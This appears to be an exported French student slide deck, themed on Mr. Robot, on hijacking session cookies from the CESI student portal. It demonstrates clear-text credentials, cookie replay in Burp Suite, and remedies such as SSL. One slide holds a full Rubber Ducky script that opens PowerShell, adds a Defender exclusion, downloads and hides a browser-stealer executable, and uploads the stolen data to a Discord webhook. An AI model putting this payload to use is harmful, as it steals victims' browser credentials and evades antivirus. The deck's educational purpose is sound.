J'AI HACKÉ LE CESI !!!
J'AI HACKÉ LE CESI !!!
instance.set(START);
- Quelques mots sur les authentifications
- Sont-elles sécurisées ?
- Quelle sécurité est implémentée sur l'ent du CESI ?
- Comment récupérer les cookies de la victime ?
- Démonstration
- Comment cela peut être résolu ?

LES AUTHENTIFICATIONS
AU MENU DU JOUR...
J'AI HACKÉ LE CESI !!!
J'AI HACKÉ LE CESI !!!
instance.set(MENU);
J'AI HACKÉ LE CESI !!!
J'AI HACKÉ LE CESI !!!
LES AUTHENTIFICATIONS
instance.set(DEFINITIONS);
EST-CE SÉCURISÉ ?
- Quelques mots sur les authentifications
- Sont-elles sécurisées ?
- Quelle sécurité est implémentée sur l'ent du CESI ?
- Comment récupérer les cookies de la victime ?
- Démonstration
- Comment cela peut être résolu ?

J'AI HACKÉ LE CESI !!!
J'AI HACKÉ LE CESI !!!
LES AUTHENTIFICATIONS
Mr.Robot
E Corp
et leur sécurités
"compte de Tyrell.Wellick@e.corp.com"
instance.set(DEFINITIONS);
- Quelques mots sur les authentifications
- Sont-elles sécurisées ?
- Quelle sécurité est implémentée sur l'ent du CESI ?
- Comment récupérer les cookies de la victime ?
- Démonstration
- Comment cela peut être résolu ?

LES AUTHENTIFICATIONS
Mr.Robot
E Corp
"compte de Tyrell.Wellick@e.corp.com"
"ok, mais c'est quoi le mot de passe ?"
et leur sécurités
instance.set(DEFINITIONS);
- Quelques mots sur les authentifications
- Sont-elles sécurisées ?
- Quelle sécurité est implémentée sur l'ent du CESI ?
- Comment récupérer les cookies de la victime ?
- Démonstration
- Comment cela peut être résolu ?

LES AUTHENTIFICATIONS
"ok, mais c'est quoi le mot de passe ?"
Mr.Robot
E Corp
et leur sécurités
instance.set(DEFINITIONS);
- Quelques mots sur les authentifications
- Sont-elles sécurisées ?
- Quelle sécurité est implémentée sur l'ent du CESI ?
- Comment récupérer les cookies de la victime ?
- Démonstration
- Comment cela peut être résolu ?

LES AUTHENTIFICATIONS
"Tyrell_Wellick_best_COO"
Mr.Robot
E Corp
et leur sécurités
instance.set(DEFINITIONS);
- Quelques mots sur les authentifications
- Sont-elles sécurisées ?
- Quelle sécurité est implémentée sur l'ent du CESI ?
- Comment récupérer les cookies de la victime ?
- Démonstration
- Comment cela peut être résolu ?

LES AUTHENTIFICATIONS
"Non"
Mr.Robot
E Corp
et leur sécurités
instance.set(DEFINITIONS);
- Quelques mots sur les authentifications
- Sont-elles sécurisées ?
- Quelle sécurité est implémentée sur l'ent du CESI ?
- Comment récupérer les cookies de la victime ?
- Démonstration
- Comment cela peut être résolu ?

LES AUTHENTIFICATIONS
"supprime le compte"
Mr.Robot
E Corp
et leur sécurités
instance.set(DEFINITIONS);
- Quelques mots sur les authentifications
- Sont-elles sécurisées ?
- Quelle sécurité est implémentée sur l'ent du CESI ?
- Comment récupérer les cookies de la victime ?
- Démonstration
- Comment cela peut être résolu ?

"fu"
Mr.Robot
E Corp
Quelle sécurité est implémenté au sein de l'ent du CESI ?

LES AUTHENTIFICATIONS
EST-CE SÉCURISÉ ?
instance.set(SECURITY);



"fu"







Mr.Robot
E Corp

BROWSER

SERVER
roadmap.sh/login


rd1o00000....







EST-CE SÉCURISÉ ?



ent.cesi.fr



instance.set(SECURITY);



"fu"







Mr.Robot
E Corp

BROWSER

SERVER
roadmap.sh/login


Crée une Session



{ id: ...; email: ... }






rd1o00000....






EST-CE SÉCURISÉ ?



ent.cesi.fr



instance.set(SECURITY);



"fu"







Mr.Robot
E Corp

BROWSER

SERVER
roadmap.sh/login



{ id: ...; email: ... }





rd1o00000....







Crée une Session



Crée un ID de Session





EST-CE SÉCURISÉ ?



ent.cesi.fr



instance.set(SECURITY);



"fu"







Mr.Robot
E Corp

BROWSER

SERVER
roadmap.sh/login



{ id: ...; email: ... }





rd1o00000....








rd1o00000....






Crée une Session



Crée un ID de Session





EST-CE SÉCURISÉ ?



ent.cesi.fr



instance.set(SECURITY);



"fu"







Mr.Robot
E Corp

BROWSER

SERVER
roadmap.sh/login



{ id: ...; email: ... }





rd1o00000....








rd1o00000....






roadmap.sh/update-profile



Crée une Session



Crée un ID de Session





EST-CE SÉCURISÉ ?



ent.cesi.fr



instance.set(SECURITY);



"fu"







Mr.Robot
E Corp

BROWSER

SERVER
roadmap.sh/login



{ id: ...; email: ... }





rd1o00000....








rd1o00000....






roadmap.sh/update-profile



Crée une Session



Crée un ID de Session





EST-CE SÉCURISÉ ?



ent.cesi.fr



instance.set(SECURITY);



"fu"







Mr.Robot
E Corp

BROWSER

SERVER
roadmap.sh/login



{ id: ...; email: ... }





rd1o00000....








rd1o00000....






roadmap.sh/update-profile



Crée une Session



Crée un ID de Session





EST-CE SÉCURISÉ ?



ent.cesi.fr



instance.set(SECURITY);



"fu"







Mr.Robot
E Corp

BROWSER

SERVER
roadmap.sh/login



{ id: ...; email: ... }





rd1o00000....








rd1o00000....






roadmap.sh/update-profile





Crée une Session



Crée un ID de Session





Hello friend...




EST-CE SÉCURISÉ ?



ent.cesi.fr



instance.set(SECURITY);



"fu"







Mr.Robot
E Corp

SERVER



BROWSER


Hello friend...




EST-CE SÉCURISÉ ?



ent.cesi.fr



instance.set(HELLO_FRIEND);



"fu"







Mr.Robot
E Corp

SERVER



BROWSER


Hello friend...




EST-CE SÉCURISÉ ?



ent.cesi.fr



instance.set(CONTROL_IS_AN_ILLUSION);





"fu"







Mr.Robot
E Corp

SERVER
roadmap.sh/login





BROWSER


crée une copie de l'identifiant de session



Crée une Session



EST-CE SÉCURISÉ ?



ent.cesi.fr



instance.set(CONTROL_IS_AN_ILLUSION);





"fu"







Mr.Robot
E Corp

SERVER
roadmap.sh/login





BROWSER


crée une copie de l'identifiant de session



Crée une Session



EST-CE SÉCURISÉ ?



ent.cesi.fr



instance.set(USE_ILLUSION_TO_GAIN_CONTROL);






"fu"







Mr.Robot
E Corp

SERVER
roadmap.sh/login





BROWSER


crée une copie de l'identifiant de session



roadmap.sh/delete_account



Crée une Session



EST-CE SÉCURISÉ ?



ent.cesi.fr



instance.set(USE_ILLUSION_TO_GAIN_CONTROL);






"fu"







Mr.Robot
E Corp

SERVER
roadmap.sh/login




BROWSER


crée une copie de l'identifiant de session



roadmap.sh/delete_account




Crée une Session



Supprime le compte




Ceci peut être un simple Wi-Fi public




EST-CE SÉCURISÉ ?



ent.cesi.fr



instance.set(USE_ILLUSION_TO_GAIN_CONTROL);






"fu"







Mr.Robot
E Corp

SERVER
roadmap.sh/login




BROWSER


crée une copie de l'identifiant de session



roadmap.sh/delete_account




Crée une Session



Supprime le compte




Ceci peut être qu'un simple Wi-Fi publique




EST-CE SÉCURISÉ ?



ent.cesi.fr



instance.set(DONT_MISTAKE_MY_GENEROSITY_FOR_GENEROSITY);





"fu"







Mr.Robot
instance.set(SECURITY_CESI);



Quelle sécurité est implémenté au sein de l'ent du CESI ?



EST-CE SÉCURISÉ ?



Comment récupérer ces cookies ??




"fu"







Mr.Robot
instance.set(SECURITY_CESI);



Quelle sécurité est implémenté au sein de l'ent du CESI ?



EST-CE SÉCURISÉ ?



Comment récupérer ces cookies ??




adresse mail et autre IDs visiblent dans l'url requête
adresse mail et mot de passe visiblent en clair dans le contenu de la requête




"fu"







Mr.Robot
instance.set(SECURITY_CESI);



Quelle sécurité est implémenté au sein de l'ent du CESI ?



EST-CE SÉCURISÉ ?



Comment récupérer ces cookies ??





token d'identification en clair dans les cookies



"fu"







Mr.Robot
instance.set(SECURITY_CESI);



Quelle sécurité est implémenté au sein de l'ent du CESI ?



EST-CE SÉCURISÉ ?



Comment récupérer ces cookies ??





Bref, pas bon signe... pour le CESI



"fu"







Mr.Robot
instance.set(COOKIES_WA_OISHII_DESU);




Comment récupérer ces cookies ??



Démonstration !!





Quelle sécurité est implémenté au sein de l'ent du CESI ?



"fu"







Mr.Robot
instance.set(COOKIES_WA_OISHII_DESU);




Comment récupérer ces cookies ??



Démonstration !!





Quelle sécurité est implémenté au sein de l'ent du CESI ?



1. Avec accès physique



2. Sans accès physique



Rubber Ducky



"fu"







Mr.Robot
instance.set(COOKIES_WA_OISHII_DESU);




Comment récupérer ces cookies ??



Démonstration !!





Quelle sécurité est implémenté au sein de l'ent du CESI ?



1. Avec accès physique



2. Sans accès physique





Rubber Ducky



"fu"







Mr.Robot
instance.set(COOKIES_WA_OISHII_DESU);




Comment récupérer ces cookies ??



Démonstration !!





Quelle sécurité est implémenté au sein de l'ent du CESI ?



1. Avec accès physique



2. Sans acces physique





Rubber Ducky



"fu"







Mr.Robot
instance.set(COOKIES_WA_OISHII_DESU);




Comment récupérer ces cookies ??



Démonstration !!





Quelle sécurité est implémenté au sein de l'ent du CESI ?



1. Avec accès physique



2. Sans accès physique




Rubber Ducky



"fu"







Mr.Robot
instance.set(COOKIES_WA_OISHII_DESU);




Comment récupérer ces cookies ??



Démonstration !!





Quelle sécurité est implémenté au sein de l'ent du CESI ?



1. Avec accès physique



2. Sans accès physique



Man In The Middle



Rubber Ducky



REM password steal
GUI r
DELAY 500
STRING powershell
CTRL-SHIFT ENTER
DELAY 500
STRING function Upload-Discord {
ENTER
STRING [CmdletBinding()]
ENTER
STRING param (
ENTER
STRING [parameter(Position=0,Mandatory=$False)]
ENTER
STRING [string]$file,
ENTER
STRING [parameter(Position=1,Mandatory=$False)]
ENTER
STRING [string]$text
ENTER
STRING )
ENTER
STRING $hookurl = '<your_Discord_web_hook>'
ENTER
STRING $Body = @{
ENTER
STRING 'username' = $env:username
ENTER
STRING 'content' = $text
ENTER
STRING }
ENTER
STRING if (-not ([string]::IsNullOrEmpty($text))){
ENTER
STRING Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)};
ENTER
STRING if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl}
ENTER
STRING }
ENTER
REM Add C:/ to exlusions so Windows Defender doesnt flag the exe we will download
STRING Add-MpPreference -ExclusionPath $env:tmp
ENTER
REM Download the exe and save it to temp directory
STRING iwr "https://github.com/atomiczsec/My-Payloads/blob/main/Assets/browser.exe?raw=true" -outfile "$env:tmp\browser.exe"
ENTER
REM Execute the Browser Stealer
STRING cd $env:tmp;Start-Process -FilePath "$env:tmp\browser.exe" -WindowStyle h -Wait
ENTER
REM Exfiltrate the loot to discord
STRING Compress-Archive -Path "$env:tmp\results" -DestinationPath $env:tmp\browserdata.zip
ENTER
STRING Upload-Discord -file "$env:tmp\browserdata.zip"
ENTER"fu"







Mr.Robot
instance.set(COOKIES_WA_OISHII_DESU);




Comment récupérer ces cookies ??



Démonstration !!





Quelle sécurité est implémenté au sein de l'ent du CESI ?



1. Avec accès physique



2. Sans accès physique



Man In The Middle



Rubber Ducky



"fu"







Mr.Robot
instance.set(COOKIES_WA_OISHII_DESU);




Comment récupérer ces cookies ??



Démonstration !!





Quelle sécurité est implémenté au sein de l'ent du CESI ?



1. Avec accès physique



2. Sans accès physique



Man In The Middle



SERVER



BROWSER


Hello friend...




"fu"







Mr.Robot
instance.set(COOKIES_WA_OISHII_DESU);




Comment récupérer ces cookies ??



Démonstration !!





Quelle sécurité est implémenté au sein de l'ent du CESI ?



1. Avec accès physique



2. Sans accès physique



Man In The Middle



SERVER



BROWSER


Hello friend...





Facile, toutes les donnée sont en texte clair



"fu"







Mr.Robot
instance.set(DEMONSTRATION);





ent.cesi.fr



EST-CE SÉCURISÉ ?



Comment récupérer ces cookies ??




Démonstration !!




Un patch ?





"fu"







Mr.Robot
instance.set(DEMONSTRATION);





ent.cesi.fr



EST-CE SÉCURISÉ ?



Comment récupérer ces cookies ??




Démonstration !!




Un patch ?





Connexion a l'ENT depuis chrome






"fu"







Mr.Robot
instance.set(DEMONSTRATION);





ent.cesi.fr



EST-CE SÉCURISÉ ?



Comment récupérer ces cookies ??




Démonstration !!




Un patch ?





Récuperation des cookies valides
(simulation d'un hack)






"fu"







Mr.Robot
instance.set(DEMONSTRATION);





ent.cesi.fr



EST-CE SÉCURISÉ ?



Comment récupérer ces cookies ??




Démonstration !!




Un patch ?





Connexion à l'ENT (https://ent.cesi.fr/accueil-apprenant) depuis Burp Suite






"fu"







Mr.Robot
instance.set(DEMONSTRATION);





ent.cesi.fr



EST-CE SÉCURISÉ ?



Comment récupérer ces cookies ??




Démonstration !!




Un patch ?





Cookies donnés par l'ENT






"fu"







Mr.Robot
instance.set(DEMONSTRATION);





ent.cesi.fr



EST-CE SÉCURISÉ ?



Comment récupérer ces cookies ??




Démonstration !!




Un patch ?





Changement des cookies par ceux valides





"fu"







Mr.Robot
instance.set(DEMONSTRATION);





ent.cesi.fr



EST-CE SÉCURISÉ ?



Comment récupérer ces cookies ??




Démonstration !!




Un patch ?





Envoie de la requête





"fu"







Mr.Robot
instance.set(DEMONSTRATION);





ent.cesi.fr



EST-CE SÉCURISÉ ?



Comment récupérer ces cookies ??




Démonstration !!




Un patch ?





accès à l'ENT de la "victime"





"fu"







Mr.Robot
instance.set(FIX);





ent.cesi.fr



EST-CE SÉCURISÉ ?



Comment récupérer ces cookies ??




Démonstration !!





Un patch ?





Contre la récupération des cookies :





contre une attaque man in the middle:





Activer le SSL (Secure Socket Layer)






The End





"fu"







Mr.Robot
instance.set(FIX);





ent.cesi.fr



EST-CE SÉCURISÉ ?



Comment récupérer ces cookies ??




Démonstration !!





Un patch ?





Contre la récupération des cookies :





contre une attaque man in the middle:





Activer le SSL (Secure Socket Layer)






contre une attaque physique:





Jamais laisser son ordinateur déverrouillé sans surveillance





Jamais brancher de clés USB inconnue





"fu"







Mr.Robot
instance.set(FIX);





ent.cesi.fr



EST-CE SÉCURISÉ ?



Comment récupérer ces cookies ??




Démonstration !!





Un patch ?





Contre la récupération des cookies :





Activer le SSL (Secure Socket Layer)





contre une attaque man in the middle:





contre une attaque physique:





Jamais laisser son ordinateur déverrouillé sans surveillance





Jamais brancher de clés USB inconnue





Du côté du site WEB :





Garder en mémoire l'adresse IP lors de l'autentification





A chaque actions de l'utilisateur, une vérification de cette IP peut être faite.





"fu"







Mr.Robot
instance.set(FIX);





ent.cesi.fr



EST-CE SÉCURISÉ ?



Comment récupérer ces cookies ??




Démonstration !!





Un patch ?





Contre la récupération des cookies :





Activer le SSL (Secure Socket Layer)





contre une attaque man in the middle:





contre une attaque physique:





Jamais laisser son ordinateur déverrouillé sans surveillance





Jamais brancher de clés USB inconnue





Du côté du site WEB :





Garder en mémoire l'adresse IP lors de l'autentification





A chaque actions de l'utilisateur, une vérification de cette IP peut être faite.





Mais cela ne serait pas effectif si la victime et le hacker se trouvent dans le même réseaux (wifi publique, wifi corporate, ...)





Ou si l'utilisateur change régulièrement d'adresse IP (réseaux mobile, utilisation d'un VPN, ...)





"fu"







Mr.Robot
instance.set(FIX);





ent.cesi.fr



EST-CE SÉCURISÉ ?



Comment récupérer ces cookies ??




Démonstration !!





Un patch ?





Du côté du site WEB :





Garder en mémoire l'adresse IP lors de l'autentification





A chaque actions de l'utilisateur, une vérification de cette IP peut être faite.





Mais cela ne serait pas effectif si la victime et le hacker se trouvent dans le même réseaux (wifi publique, wifi corporate, ...)





Ou si l'utilisateur change régulièrement d'adresse IP (réseaux mobile, utilisation d'un VPN, ...) il devra constament se reconnecter





Généralement, plus un service est facile d'utilisation, plus il est difficile de le sécuriser efficacement





"fu"







Mr.Robot
instance.set(FIX);





ent.cesi.fr



EST-CE SÉCURISÉ ?



Comment récupérer ces cookies ??




Démonstration !!





Un patch ?





Du côté du site WEB :





Garder en mémoire l'adresse IP lors de l'autentification





A chaque actions de l'utilisateur, une vérification de cette IP peut être faite.





Mais cela ne serait pas effectif si la victime et le hacker se trouvent dans le même réseaux (wifi publique, wifi corporate, ...)





Ou si l'utilisateur change régulièrement d'adresse IP (réseaux mobile, utilisation d'un VPN, ...) il devra constament se reconnecter





Généralement, plus un service est facile d'utilisation, plus il est difficile de le sécuriser efficacement





"fu"







Mr.Robot
instance.set(END);





ent.cesi.fr



EST-CE SÉCURISÉ ?



Comment récupérer ces cookies ??




Un patch ?





The End





ENT_Vulnerability
By THE AYPISAM FPV
ENT_Vulnerability
- 126